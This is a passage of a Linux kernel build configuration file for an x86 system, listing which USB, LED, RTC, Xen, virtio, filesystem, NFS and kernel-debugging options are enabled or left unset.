CONFIG_USB_DEFAULT_PERSIST=y # CONFIG_USB_DYNAMIC_MINORS is not set # CONFIG_USB_OTG is not set # CONFIG_USB_OTG_WHITELIST is not set # CONFIG_USB_OTG_BLACKLIST_HUB is not set # CONFIG_USB_OTG_FSM is not set # CONFIG_USB_ULPI_BUS is not set CONFIG_USB_MON=y # CONFIG_USB_WUSB_CBAF is not set # # USB Host Controller Drivers # # CONFIG_USB_C67X00_HCD is not set CONFIG_USB_XHCI_HCD=y CONFIG_USB_XHCI_PCI=y CONFIG_USB_EHCI_HCD=y CONFIG_USB_EHCI_ROOT_HUB_TT=y CONFIG_USB_EHCI_TT_NEWSCHED=y CONFIG_USB_EHCI_PCI=y # CONFIG_USB_EHCI_HCD_PLATFORM is not set # CONFIG_USB_OXU210HP_HCD is not set # CONFIG_USB_ISP116X_HCD is not set # CONFIG_USB_ISP1362_HCD is not set # CONFIG_USB_FUSBH200_HCD is not set # CONFIG_USB_FOTG210_HCD is not set CONFIG_USB_OHCI_HCD=y CONFIG_USB_OHCI_HCD_PCI=y # CONFIG_USB_OHCI_HCD_PLATFORM is not set CONFIG_USB_UHCI_HCD=y # CONFIG_USB_SL811_HCD is not set # CONFIG_USB_R8A66597_HCD is not set # CONFIG_USB_HCD_TEST_MODE is not set # # USB Device Class drivers # # CONFIG_USB_ACM is not set # CONFIG_USB_PRINTER is not set # CONFIG_USB_WDM is not set # CONFIG_USB_TMC is not set # # NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may # # # also be needed; see USB_STORAGE Help for more info # # CONFIG_USB_STORAGE is not set # # USB Imaging devices # # CONFIG_USB_MDC800 is not set # CONFIG_USB_MICROTEK is not set # CONFIG_USBIP_CORE is not set # CONFIG_USB_MUSB_HDRC is not set # CONFIG_USB_DWC3 is not set # CONFIG_USB_DWC2 is not set # CONFIG_USB_CHIPIDEA is not set # CONFIG_USB_ISP1760 is not set # # USB port drivers # # CONFIG_USB_USS720 is not set CONFIG_USB_SERIAL=y CONFIG_USB_SERIAL_CONSOLE=y CONFIG_USB_SERIAL_GENERIC=y # CONFIG_USB_SERIAL_SIMPLE is not set # CONFIG_USB_SERIAL_AIRCABLE is not set # CONFIG_USB_SERIAL_ARK3116 is not set # CONFIG_USB_SERIAL_BELKIN is not set # CONFIG_USB_SERIAL_CH341 is not set # CONFIG_USB_SERIAL_WHITEHEAT is not set # CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set # CONFIG_USB_SERIAL_CP210X is not set # CONFIG_USB_SERIAL_CYPRESS_M8 is not set # CONFIG_USB_SERIAL_EMPEG is not set # CONFIG_USB_SERIAL_FTDI_SIO is not set # CONFIG_USB_SERIAL_VISOR is not set # CONFIG_USB_SERIAL_IPAQ is not set # CONFIG_USB_SERIAL_IR is not set # CONFIG_USB_SERIAL_EDGEPORT is not set # CONFIG_USB_SERIAL_EDGEPORT_TI is not set # CONFIG_USB_SERIAL_F81232 is not set # CONFIG_USB_SERIAL_GARMIN is not set # CONFIG_USB_SERIAL_IPW is not set # CONFIG_USB_SERIAL_IUU is not set # CONFIG_USB_SERIAL_KEYSPAN_PDA is not set # CONFIG_USB_SERIAL_KEYSPAN is not set # CONFIG_USB_SERIAL_KLSI is not set # CONFIG_USB_SERIAL_KOBIL_SCT is not set # CONFIG_USB_SERIAL_MCT_U232 is not set # CONFIG_USB_SERIAL_METRO is not set # CONFIG_USB_SERIAL_MOS7720 is not set # CONFIG_USB_SERIAL_MOS7840 is not set # CONFIG_USB_SERIAL_MXUPORT is not set # CONFIG_USB_SERIAL_NAVMAN is not set # CONFIG_USB_SERIAL_PL2303 is not set # CONFIG_USB_SERIAL_OTI6858 is not set # CONFIG_USB_SERIAL_QCAUX is not set # CONFIG_USB_SERIAL_QUALCOMM is not set # CONFIG_USB_SERIAL_SPCP8X5 is not set # CONFIG_USB_SERIAL_SAFE is not set # CONFIG_USB_SERIAL_SIERRAWIRELESS is not set # CONFIG_USB_SERIAL_SYMBOL is not set # CONFIG_USB_SERIAL_TI is not set # CONFIG_USB_SERIAL_CYBERJACK is not set # CONFIG_USB_SERIAL_XIRCOM is not set # CONFIG_USB_SERIAL_OPTION is not set # CONFIG_USB_SERIAL_OMNINET is not set # CONFIG_USB_SERIAL_OPTICON is not set # CONFIG_USB_SERIAL_XSENS_MT is not set # CONFIG_USB_SERIAL_WISHBONE is not set # CONFIG_USB_SERIAL_SSU100 is not set # CONFIG_USB_SERIAL_QT2 is not set # CONFIG_USB_SERIAL_DEBUG is not set # # USB Miscellaneous drivers # # CONFIG_USB_EMI62 is not set # CONFIG_USB_EMI26 is not set # CONFIG_USB_ADUTUX is not set # CONFIG_USB_SEVSEG is not set # CONFIG_USB_RIO500 is not set # CONFIG_USB_LEGOTOWER is not set # CONFIG_USB_LCD is not set # CONFIG_USB_LED is not set # CONFIG_USB_CYPRESS_CY7C63 is not set # CONFIG_USB_CYTHERM is not set # CONFIG_USB_IDMOUSE is not set # CONFIG_USB_FTDI_ELAN is not set # CONFIG_USB_APPLEDISPLAY is not set # CONFIG_USB_SISUSBVGA is not set # CONFIG_USB_LD is not set # CONFIG_USB_TRANCEVIBRATOR is not set # CONFIG_USB_IOWARRIOR is not set # CONFIG_USB_TEST is not set # CONFIG_USB_EHSET_TEST_FIXTURE is not set # CONFIG_USB_ISIGHTFW is not set # CONFIG_USB_YUREX is not set # CONFIG_USB_EZUSB_FX2 is not set # CONFIG_USB_HSIC_USB3503 is not set # CONFIG_USB_LINK_LAYER_TEST is not set # CONFIG_USB_CHAOSKEY is not set # # USB Physical Layer drivers # # CONFIG_USB_PHY is not set # CONFIG_NOP_USB_XCEIV is not set # CONFIG_USB_GPIO_VBUS is not set # CONFIG_USB_ISP1301 is not set # CONFIG_USB_GADGET is not set CONFIG_USB_LED_TRIG=y # CONFIG_UWB is not set # CONFIG_MMC is not set # CONFIG_MEMSTICK is not set CONFIG_NEW_LEDS=y CONFIG_LEDS_CLASS=y # CONFIG_LEDS_CLASS_FLASH is not set # # LED drivers # # CONFIG_LEDS_LM3530 is not set # CONFIG_LEDS_LM3642 is not set # CONFIG_LEDS_PCA9532 is not set # CONFIG_LEDS_GPIO is not set # CONFIG_LEDS_LP3944 is not set # CONFIG_LEDS_LP5521 is not set # CONFIG_LEDS_LP5523 is not set # CONFIG_LEDS_LP5562 is not set # CONFIG_LEDS_LP8501 is not set # CONFIG_LEDS_LP8860 is not set # CONFIG_LEDS_CLEVO_MAIL is not set # CONFIG_LEDS_PCA955X is not set # CONFIG_LEDS_PCA963X is not set # CONFIG_LEDS_BD2802 is not set # CONFIG_LEDS_INTEL_SS4200 is not set # CONFIG_LEDS_LT3593 is not set # CONFIG_LEDS_TCA6507 is not set # CONFIG_LEDS_TLC591XX is not set # CONFIG_LEDS_LM355x is not set # # LED driver for blink(1) USB RGB LED is under Special HID drivers (HID_THINGM) # # CONFIG_LEDS_BLINKM is not set # CONFIG_LEDS_PM8941_WLED is not set # # LED Triggers # CONFIG_LEDS_TRIGGERS=y # CONFIG_LEDS_TRIGGER_TIMER is not set # CONFIG_LEDS_TRIGGER_ONESHOT is not set # CONFIG_LEDS_TRIGGER_HEARTBEAT is not set # CONFIG_LEDS_TRIGGER_BACKLIGHT is not set # CONFIG_LEDS_TRIGGER_CPU is not set # CONFIG_LEDS_TRIGGER_GPIO is not set # CONFIG_LEDS_TRIGGER_DEFAULT_ON is not set # # iptables trigger is under Netfilter config (LED target) # # CONFIG_LEDS_TRIGGER_TRANSIENT is not set # CONFIG_LEDS_TRIGGER_CAMERA is not set CONFIG_ACCESSIBILITY=y CONFIG_A11Y_BRAILLE_CONSOLE=y # CONFIG_INFINIBAND is not set CONFIG_EDAC_ATOMIC_SCRUB=y CONFIG_EDAC_SUPPORT=y CONFIG_EDAC=y CONFIG_EDAC_LEGACY_SYSFS=y # CONFIG_EDAC_DEBUG is not set # CONFIG_EDAC_DECODE_MCE is not set # CONFIG_EDAC_MM_EDAC is not set CONFIG_RTC_LIB=y CONFIG_RTC_CLASS=y CONFIG_RTC_HCTOSYS=y CONFIG_RTC_HCTOSYS_DEVICE="rtc0" # CONFIG_RTC_SYSTOHC is not set # CONFIG_RTC_DEBUG is not set # # RTC interfaces # CONFIG_RTC_INTF_SYSFS=y CONFIG_RTC_INTF_PROC=y CONFIG_RTC_INTF_DEV=y # CONFIG_RTC_INTF_DEV_UIE_EMUL is not set # CONFIG_RTC_DRV_TEST is not set # # I2C RTC drivers # # CONFIG_RTC_DRV_ABB5ZES3 is not set # CONFIG_RTC_DRV_ABX80X is not set # CONFIG_RTC_DRV_DS1307 is not set # CONFIG_RTC_DRV_DS1374 is not set # CONFIG_RTC_DRV_DS1672 is not set # CONFIG_RTC_DRV_DS3232 is not set # CONFIG_RTC_DRV_MAX6900 is not set # CONFIG_RTC_DRV_RS5C372 is not set # CONFIG_RTC_DRV_ISL1208 is not set # CONFIG_RTC_DRV_ISL12022 is not set # CONFIG_RTC_DRV_ISL12057 is not set # CONFIG_RTC_DRV_X1205 is not set # CONFIG_RTC_DRV_PCF2127 is not set # CONFIG_RTC_DRV_PCF8523 is not set # CONFIG_RTC_DRV_PCF8563 is not set # CONFIG_RTC_DRV_PCF85063 is not set # CONFIG_RTC_DRV_PCF8583 is not set # CONFIG_RTC_DRV_M41T80 is not set # CONFIG_RTC_DRV_BQ32K is not set # CONFIG_RTC_DRV_S35390A is not set # CONFIG_RTC_DRV_FM3130 is not set # CONFIG_RTC_DRV_RX8581 is not set # CONFIG_RTC_DRV_RX8025 is not set # CONFIG_RTC_DRV_EM3027 is not set # CONFIG_RTC_DRV_RV3029C2 is not set # # SPI RTC drivers # # # Platform RTC drivers # CONFIG_RTC_DRV_CMOS=y # CONFIG_RTC_DRV_DS1286 is not set # CONFIG_RTC_DRV_DS1511 is not set # CONFIG_RTC_DRV_DS1553 is not set # CONFIG_RTC_DRV_DS1685_FAMILY is not set # CONFIG_RTC_DRV_DS1742 is not set # CONFIG_RTC_DRV_DS2404 is not set # CONFIG_RTC_DRV_STK17TA8 is not set # CONFIG_RTC_DRV_M48T86 is not set # CONFIG_RTC_DRV_M48T35 is not set # CONFIG_RTC_DRV_M48T59 is not set # CONFIG_RTC_DRV_MSM6242 is not set # CONFIG_RTC_DRV_BQ4802 is not set # CONFIG_RTC_DRV_RP5C01 is not set # CONFIG_RTC_DRV_V3020 is not set # # on-CPU RTC drivers # # # HID Sensor RTC drivers # # CONFIG_RTC_DRV_HID_SENSOR_TIME is not set CONFIG_DMADEVICES=y # CONFIG_DMADEVICES_DEBUG is not set # # DMA Devices # # CONFIG_INTEL_IOATDMA is not set # CONFIG_DW_DMAC is not set # CONFIG_DW_DMAC_PCI is not set # CONFIG_HSU_DMA_PCI is not set CONFIG_DMA_ACPI=y CONFIG_AUXDISPLAY=y # CONFIG_KS0108 is not set # CONFIG_UIO is not set # CONFIG_VFIO is not set # CONFIG_VIRT_DRIVERS is not set CONFIG_VIRTIO=y # # Virtio drivers # CONFIG_VIRTIO_PCI=y CONFIG_VIRTIO_PCI_LEGACY=y CONFIG_VIRTIO_BALLOON=y # CONFIG_VIRTIO_INPUT is not set # CONFIG_VIRTIO_MMIO is not set # # Microsoft Hyper-V guest support # # CONFIG_HYPERV is not set # # Xen driver support # CONFIG_XEN_BALLOON=y CONFIG_XEN_SELFBALLOONING=y # CONFIG_XEN_BALLOON_MEMORY_HOTPLUG is not set CONFIG_XEN_SCRUB_PAGES=y # CONFIG_XEN_DEV_EVTCHN is not set CONFIG_XEN_BACKEND=y # CONFIG_XENFS is not set CONFIG_XEN_SYS_HYPERVISOR=y CONFIG_XEN_XENBUS_FRONTEND=y # CONFIG_XEN_GNTDEV is not set # CONFIG_XEN_GRANT_DEV_ALLOC is not set CONFIG_SWIOTLB_XEN=y CONFIG_XEN_TMEM=m # CONFIG_XEN_PCIDEV_BACKEND is not set CONFIG_XEN_PRIVCMD=m # CONFIG_XEN_ACPI_PROCESSOR is not set # CONFIG_XEN_MCE_LOG is not set CONFIG_XEN_HAVE_PVMMU=y CONFIG_XEN_EFI=y CONFIG_XEN_AUTO_XLATE=y CONFIG_XEN_ACPI=y CONFIG_STAGING=y # CONFIG_SLICOSS is not set # CONFIG_COMEDI is not set # CONFIG_PANEL is not set # CONFIG_RTL8192U is not set # CONFIG_RTLLIB is not set # CONFIG_R8712U is not set # CONFIG_R8188EU is not set # CONFIG_RTS5208 is not set # CONFIG_FB_SM7XX is not set # CONFIG_FB_SM750 is not set # CONFIG_FB_XGI is not set # CONFIG_FT1000 is not set # # Speakup console speech # # CONFIG_SPEAKUP is not set # CONFIG_TOUCHSCREEN_SYNAPTICS_I2C_RMI4 is not set CONFIG_STAGING_MEDIA=y # # Android # # CONFIG_USB_WPAN_HCD is not set # CONFIG_WIMAX_GDM72XX is not set # CONFIG_LTE_GDM724X is not set # CONFIG_LUSTRE_FS is not set # CONFIG_DGNC is not set # CONFIG_DGAP is not set # CONFIG_GS_FPGABOOT is not set # CONFIG_CRYPTO_SKEIN is not set # CONFIG_UNISYSSPAR is not set CONFIG_X86_PLATFORM_DEVICES=y # CONFIG_ACERHDF is not set # CONFIG_ASUS_LAPTOP is not set # CONFIG_DELL_SMO8800 is not set # CONFIG_FUJITSU_LAPTOP is not set # CONFIG_FUJITSU_TABLET is not set # CONFIG_HP_ACCEL is not set # CONFIG_HP_WIRELESS is not set # CONFIG_PANASONIC_LAPTOP is not set # CONFIG_THINKPAD_ACPI is not set # CONFIG_SENSORS_HDAPS is not set # CONFIG_INTEL_MENLOW is not set # CONFIG_EEEPC_LAPTOP is not set # CONFIG_ACPI_WMI is not set # CONFIG_TOPSTAR_LAPTOP is not set # CONFIG_TOSHIBA_BT_RFKILL is not set # CONFIG_TOSHIBA_HAPS is not set # CONFIG_ACPI_CMPC is not set # CONFIG_INTEL_IPS is not set # CONFIG_IBM_RTL is not set # CONFIG_SAMSUNG_LAPTOP is not set # CONFIG_SAMSUNG_Q10 is not set # CONFIG_APPLE_GMUX is not set # CONFIG_INTEL_RST is not set CONFIG_INTEL_SMARTCONNECT=y CONFIG_PVPANIC=y # CONFIG_INTEL_PMC_IPC is not set CONFIG_CHROME_PLATFORMS=y # CONFIG_CHROMEOS_LAPTOP is not set # CONFIG_CHROMEOS_PSTORE is not set CONFIG_CLKDEV_LOOKUP=y CONFIG_HAVE_CLK_PREPARE=y CONFIG_COMMON_CLK=y # # Common Clock Framework # # CONFIG_COMMON_CLK_SI5351 is not set # CONFIG_COMMON_CLK_PXA is not set # CONFIG_COMMON_CLK_CDCE706 is not set # # Hardware Spinlock drivers # # # Clock Source drivers # CONFIG_CLKEVT_I8253=y CONFIG_I8253_LOCK=y CONFIG_CLKBLD_I8253=y # CONFIG_ATMEL_PIT is not set # CONFIG_SH_TIMER_CMT is not set # CONFIG_SH_TIMER_MTU2 is not set # CONFIG_SH_TIMER_TMU is not set # CONFIG_EM_TIMER_STI is not set # CONFIG_MAILBOX is not set CONFIG_IOMMU_API=y CONFIG_IOMMU_SUPPORT=y # # Generic IOMMU Pagetable Support # CONFIG_IOMMU_IOVA=y CONFIG_AMD_IOMMU=y CONFIG_AMD_IOMMU_STATS=y # CONFIG_AMD_IOMMU_V2 is not set CONFIG_DMAR_TABLE=y CONFIG_INTEL_IOMMU=y # CONFIG_INTEL_IOMMU_DEFAULT_ON is not set CONFIG_INTEL_IOMMU_FLOPPY_WA=y CONFIG_IRQ_REMAP=y # # Remoteproc drivers # # CONFIG_STE_MODEM_RPROC is not set # # Rpmsg drivers # # # SOC (System On Chip) specific Drivers # # CONFIG_SUNXI_SRAM is not set # CONFIG_SOC_TI is not set CONFIG_PM_DEVFREQ=y # # DEVFREQ Governors # # CONFIG_DEVFREQ_GOV_SIMPLE_ONDEMAND is not set # CONFIG_DEVFREQ_GOV_PERFORMANCE is not set # CONFIG_DEVFREQ_GOV_POWERSAVE is not set # CONFIG_DEVFREQ_GOV_USERSPACE is not set # # DEVFREQ Drivers # # CONFIG_PM_DEVFREQ_EVENT is not set # CONFIG_EXTCON is not set # CONFIG_MEMORY is not set # CONFIG_IIO is not set # CONFIG_NTB is not set # CONFIG_VME_BUS is not set # CONFIG_PWM is not set # CONFIG_IPACK_BUS is not set CONFIG_RESET_CONTROLLER=y # CONFIG_FMC is not set # # PHY Subsystem # CONFIG_GENERIC_PHY=y # CONFIG_PHY_PXA_28NM_HSIC is not set # CONFIG_PHY_PXA_28NM_USB2 is not set # CONFIG_BCM_KONA_USB2_PHY is not set CONFIG_POWERCAP=y # CONFIG_INTEL_RAPL is not set # CONFIG_MCB is not set CONFIG_RAS=y # CONFIG_THUNDERBOLT is not set # # Android # # CONFIG_ANDROID is not set CONFIG_LIBNVDIMM=y CONFIG_BLK_DEV_PMEM=m CONFIG_ND_BLK=m CONFIG_ND_BTT=m CONFIG_BTT=y # # Firmware Drivers # # CONFIG_EDD is not set CONFIG_FIRMWARE_MEMMAP=y # CONFIG_DELL_RBU is not set # CONFIG_DCDBAS is not set CONFIG_DMIID=y CONFIG_DMI_SYSFS=y CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y CONFIG_ISCSI_IBFT_FIND=y # CONFIG_ISCSI_IBFT is not set # CONFIG_GOOGLE_FIRMWARE is not set # # EFI (Extensible Firmware Interface) Support # CONFIG_EFI_VARS=y CONFIG_EFI_ESRT=y CONFIG_EFI_VARS_PSTORE=y CONFIG_EFI_VARS_PSTORE_DEFAULT_DISABLE=y CONFIG_EFI_RUNTIME_MAP=y CONFIG_EFI_RUNTIME_WRAPPERS=y CONFIG_UEFI_CPER=y # # File systems # CONFIG_DCACHE_WORD_ACCESS=y CONFIG_EXT2_FS=y CONFIG_EXT2_FS_XATTR=y CONFIG_EXT2_FS_POSIX_ACL=y CONFIG_EXT2_FS_SECURITY=y # CONFIG_EXT3_FS is not set CONFIG_EXT4_FS=y CONFIG_EXT4_USE_FOR_EXT23=y CONFIG_EXT4_FS_POSIX_ACL=y CONFIG_EXT4_FS_SECURITY=y # CONFIG_EXT4_ENCRYPTION is not set # CONFIG_EXT4_DEBUG is not set CONFIG_JBD2=y # CONFIG_JBD2_DEBUG is not set CONFIG_FS_MBCACHE=y # CONFIG_REISERFS_FS is not set # CONFIG_JFS_FS is not set CONFIG_XFS_FS=y CONFIG_XFS_QUOTA=y CONFIG_XFS_POSIX_ACL=y CONFIG_XFS_RT=y CONFIG_XFS_DEBUG=y # CONFIG_GFS2_FS is not set # CONFIG_OCFS2_FS is not set # CONFIG_BTRFS_FS is not set # CONFIG_NILFS2_FS is not set # CONFIG_F2FS_FS is not set # CONFIG_FS_DAX is not set CONFIG_FS_POSIX_ACL=y CONFIG_EXPORTFS=y CONFIG_FILE_LOCKING=y CONFIG_FSNOTIFY=y CONFIG_DNOTIFY=y CONFIG_INOTIFY_USER=y CONFIG_FANOTIFY=y CONFIG_FANOTIFY_ACCESS_PERMISSIONS=y CONFIG_QUOTA=y CONFIG_QUOTA_NETLINK_INTERFACE=y # CONFIG_PRINT_QUOTA_WARNING is not set # CONFIG_QUOTA_DEBUG is not set CONFIG_QUOTA_TREE=y # CONFIG_QFMT_V1 is not set CONFIG_QFMT_V2=y CONFIG_QUOTACTL=y CONFIG_QUOTACTL_COMPAT=y CONFIG_AUTOFS4_FS=y CONFIG_FUSE_FS=y # CONFIG_CUSE is not set # CONFIG_OVERLAY_FS is not set # # Caches # CONFIG_FSCACHE=y CONFIG_FSCACHE_STATS=y # CONFIG_FSCACHE_HISTOGRAM is not set # CONFIG_FSCACHE_DEBUG is not set CONFIG_FSCACHE_OBJECT_LIST=y # CONFIG_CACHEFILES is not set # # CD-ROM/DVD Filesystems # # CONFIG_ISO9660_FS is not set # CONFIG_UDF_FS is not set # # DOS/FAT/NT Filesystems # # CONFIG_MSDOS_FS is not set # CONFIG_VFAT_FS is not set # CONFIG_NTFS_FS is not set # # Pseudo filesystems # CONFIG_PROC_FS=y CONFIG_PROC_KCORE=y CONFIG_PROC_VMCORE=y CONFIG_PROC_SYSCTL=y CONFIG_PROC_PAGE_MONITOR=y # CONFIG_PROC_CHILDREN is not set CONFIG_KERNFS=y CONFIG_SYSFS=y CONFIG_TMPFS=y CONFIG_TMPFS_POSIX_ACL=y CONFIG_TMPFS_XATTR=y CONFIG_HUGETLBFS=y CONFIG_HUGETLB_PAGE=y CONFIG_CONFIGFS_FS=y CONFIG_EFIVAR_FS=y CONFIG_MISC_FILESYSTEMS=y # CONFIG_ADFS_FS is not set # CONFIG_AFFS_FS is not set # CONFIG_ECRYPT_FS is not set # CONFIG_HFS_FS is not set # CONFIG_HFSPLUS_FS is not set # CONFIG_BEFS_FS is not set # CONFIG_BFS_FS is not set # CONFIG_EFS_FS is not set # CONFIG_LOGFS is not set # CONFIG_CRAMFS is not set # CONFIG_SQUASHFS is not set # CONFIG_VXFS_FS is not set # CONFIG_MINIX_FS is not set # CONFIG_OMFS_FS is not set # CONFIG_HPFS_FS is not set # CONFIG_QNX4FS_FS is not set # CONFIG_QNX6FS_FS is not set # CONFIG_ROMFS_FS is not set CONFIG_PSTORE=y # CONFIG_PSTORE_CONSOLE is not set # CONFIG_PSTORE_PMSG is not set # CONFIG_PSTORE_FTRACE is not set # CONFIG_PSTORE_RAM is not set # CONFIG_SYSV_FS is not set # CONFIG_UFS_FS is not set CONFIG_NETWORK_FILESYSTEMS=y CONFIG_NFS_FS=y # CONFIG_NFS_V2 is not set # CONFIG_NFS_V3 is not set CONFIG_NFS_V4=y CONFIG_NFS_SWAP=y CONFIG_NFS_V4_1=y CONFIG_NFS_V4_2=y CONFIG_PNFS_FILE_LAYOUT=y CONFIG_PNFS_BLOCK=y CONFIG_NFS_V4_1_IMPLEMENTATION_ID_DOMAIN="kernel.org" # CONFIG_NFS_V4_1_MIGRATION is not set CONFIG_NFS_V4_SECURITY_LABEL=y CONFIG_NFS_FSCACHE=y # CONFIG_NFS_USE_LEGACY_DNS is not set CONFIG_NFS_USE_KERNEL_DNS=y CONFIG_NFS_DEBUG=y CONFIG_NFSD=y CONFIG_NFSD_V2_ACL=y CONFIG_NFSD_V3=y CONFIG_NFSD_V3_ACL=y CONFIG_NFSD_V4=y CONFIG_NFSD_PNFS=y CONFIG_NFSD_V4_SECURITY_LABEL=y # CONFIG_NFSD_FAULT_INJECTION is not set CONFIG_GRACE_PERIOD=y CONFIG_LOCKD=y CONFIG_LOCKD_V4=y CONFIG_NFS_ACL_SUPPORT=y CONFIG_NFS_COMMON=y CONFIG_SUNRPC=y CONFIG_SUNRPC_GSS=y CONFIG_SUNRPC_BACKCHANNEL=y CONFIG_SUNRPC_SWAP=y CONFIG_RPCSEC_GSS_KRB5=y CONFIG_SUNRPC_DEBUG=y # CONFIG_CEPH_FS is not set # CONFIG_CIFS is not set # CONFIG_NCP_FS is not set # CONFIG_CODA_FS is not set # CONFIG_AFS_FS is not set CONFIG_NLS=y CONFIG_NLS_DEFAULT="utf8" CONFIG_NLS_CODEPAGE_437=y # CONFIG_NLS_CODEPAGE_737 is not set # CONFIG_NLS_CODEPAGE_775 is not set # CONFIG_NLS_CODEPAGE_850 is not set # CONFIG_NLS_CODEPAGE_852 is not set # CONFIG_NLS_CODEPAGE_855 is not set # CONFIG_NLS_CODEPAGE_857 is not set # CONFIG_NLS_CODEPAGE_860 is not set # CONFIG_NLS_CODEPAGE_861 is not set # CONFIG_NLS_CODEPAGE_862 is not set # CONFIG_NLS_CODEPAGE_863 is not set # CONFIG_NLS_CODEPAGE_864 is not set # CONFIG_NLS_CODEPAGE_865 is not set # CONFIG_NLS_CODEPAGE_866 is not set # CONFIG_NLS_CODEPAGE_869 is not set # CONFIG_NLS_CODEPAGE_936 is not set # CONFIG_NLS_CODEPAGE_950 is not set # CONFIG_NLS_CODEPAGE_932 is not set # CONFIG_NLS_CODEPAGE_949 is not set # CONFIG_NLS_CODEPAGE_874 is not set # CONFIG_NLS_ISO8859_8 is not set # CONFIG_NLS_CODEPAGE_1250 is not set # CONFIG_NLS_CODEPAGE_1251 is not set CONFIG_NLS_ASCII=y # CONFIG_NLS_ISO8859_1 is not set # CONFIG_NLS_ISO8859_2 is not set # CONFIG_NLS_ISO8859_3 is not set # CONFIG_NLS_ISO8859_4 is not set # CONFIG_NLS_ISO8859_5 is not set # CONFIG_NLS_ISO8859_6 is not set # CONFIG_NLS_ISO8859_7 is not set # CONFIG_NLS_ISO8859_9 is not set # CONFIG_NLS_ISO8859_13 is not set # CONFIG_NLS_ISO8859_14 is not set # CONFIG_NLS_ISO8859_15 is not set # CONFIG_NLS_KOI8_R is not set # CONFIG_NLS_KOI8_U is not set # CONFIG_NLS_MAC_ROMAN is not set # CONFIG_NLS_MAC_CELTIC is not set # CONFIG_NLS_MAC_CENTEURO is not set # CONFIG_NLS_MAC_CROATIAN is not set # CONFIG_NLS_MAC_CYRILLIC is not set # CONFIG_NLS_MAC_GAELIC is not set # CONFIG_NLS_MAC_GREEK is not set # CONFIG_NLS_MAC_ICELAND is not set # CONFIG_NLS_MAC_INUIT is not set # CONFIG_NLS_MAC_ROMANIAN is not set # CONFIG_NLS_MAC_TURKISH is not set # CONFIG_NLS_UTF8 is not set # CONFIG_DLM is not set # # Kernel hacking # CONFIG_TRACE_IRQFLAGS_SUPPORT=y # # printk and dmesg options # CONFIG_PRINTK_TIME=y CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4 CONFIG_BOOT_PRINTK_DELAY=y CONFIG_DYNAMIC_DEBUG=y # # Compile-time checks and compiler options # CONFIG_DEBUG_INFO=y # CONFIG_DEBUG_INFO_REDUCED is not set # CONFIG_DEBUG_INFO_SPLIT is not set # CONFIG_DEBUG_INFO_DWARF4 is not set # CONFIG_GDB_SCRIPTS is not set # CONFIG_ENABLE_WARN_DEPRECATED is not set CONFIG_ENABLE_MUST_CHECK=y CONFIG_FRAME_WARN=2048 CONFIG_STRIP_ASM_SYMS=y # CONFIG_READABLE_ASM is not set CONFIG_UNUSED_SYMBOLS=y # CONFIG_PAGE_OWNER is not set CONFIG_DEBUG_FS=y CONFIG_HEADERS_CHECK=y # CONFIG_DEBUG_SECTION_MISMATCH is not set CONFIG_ARCH_WANT_FRAME_POINTERS=y CONFIG_FRAME_POINTER=y # CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set CONFIG_MAGIC_SYSRQ=y CONFIG_MAGIC_SYSRQ_DEFAULT_ENABLE=0x0 CONFIG_DEBUG_KERNEL=y # # Memory Debugging # # CONFIG_PAGE_EXTENSION is not set # CONFIG_DEBUG_PAGEALLOC is not set # CONFIG_DEBUG_OBJECTS is not set # CONFIG_SLUB_DEBUG_ON is not set # CONFIG_SLUB_STATS is not set CONFIG_HAVE_DEBUG_KMEMLEAK=y # CONFIG_DEBUG_KMEMLEAK is not set # CONFIG_DEBUG_STACK_USAGE is not set CONFIG_DEBUG_VM=y # CONFIG_DEBUG_VM_VMACACHE is not set # CONFIG_DEBUG_VM_RB is not set # CONFIG_DEBUG_VIRTUAL is not set CONFIG_DEBUG_MEMORY_INIT=y # CONFIG_DEBUG_PER_CPU_MAPS is not set CONFIG_HAVE_DEBUG_STACKOVERFLOW=y CONFIG_DEBUG_STACKOVERFLOW=y CONFIG_HAVE_ARCH_KMEMCHECK=y CONFIG_HAVE_ARCH_KASAN=y # CONFIG_KASAN is not set CONFIG_DEBUG_SHIRQ=y # # Debug Lockups and Hangs # CONFIG_LOCKUP_DETECTOR=y CONFIG_HARDLOCKUP_DETECTOR=y # CONFIG_BOOTPARAM_HARDLOCKUP_PANIC is not set CONFIG_BOOTPARAM_HARDLOCKUP_PANIC_VALUE=0 # CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC is not set CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC_VALUE=0 # CONFIG_DETECT_HUNG_TASK is not set # CONFIG_PANIC_ON_OOPS is not set CONFIG_PANIC_ON_OOPS_VALUE=0 CONFIG_PANIC_TIMEOUT=0 CONFIG_SCHED_DEBUG=y CONFIG_SCHED_INFO=y # CONFIG_SCHEDSTATS is not set # CONFIG_SCHED_STACK_END_CHECK is not set # CONFIG_DEBUG_TIMEKEEPING is not set CONFIG_TIMER_STATS=y # # Lock Debugging (spinlocks, mutexes, etc...) # # CONFIG_DEBUG_RT_MUTEXES is not set # CONFIG_DEBUG_SPINLOCK is not set # CONFIG_DEBUG_MUTEXES is not set # CONFIG_DEBUG_WW_MUTEX_SLOWPATH is not set # CONFIG_DEBUG_LOCK_ALLOC is not set # CONFIG_PROVE_LOCKING is not set # CONFIG_LOCK_STAT is not set # CONFIG_DEBUG_ATOMIC_SLEEP is not set # CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set # CONFIG_LOCK_TORTURE_TEST is not set CONFIG_STACKTRACE=y # CONFIG_DEBUG_KOBJECT is not set CONFIG_DEBUG_BUGVERBOSE=y CONFIG_DEBUG_LIST=y # CONFIG_DEBUG_PI_LIST is not set # CONFIG_DEBUG_SG is not set # CONFIG_DEBUG_NOTIFIERS is not set # CONFIG_DEBUG_CREDENTIALS is not set # # RCU Debugging # # CONFIG_PROVE_RCU is not set CONFIG_SPARSE_RCU_POINTER=y # CONFIG_TORTURE_TEST is not set # CONFIG_RCU_TORTURE_TEST is not set CONFIG_RCU_CPU_STALL_TIMEOUT=60 CONFIG_RCU_CPU_STALL_INFO=y # CONFIG_RCU_TRACE is not set # CONFIG_RCU_EQS_DEBUG is not set # CONFIG_DEBUG_BLOCK_EXT_DEVT is not set # CONFIG_NOTIFIER_ERROR_INJECTION is not set # CONFIG_FAULT_INJECTION is not set # CONFIG_LATENCYTOP is not set CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y # CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not 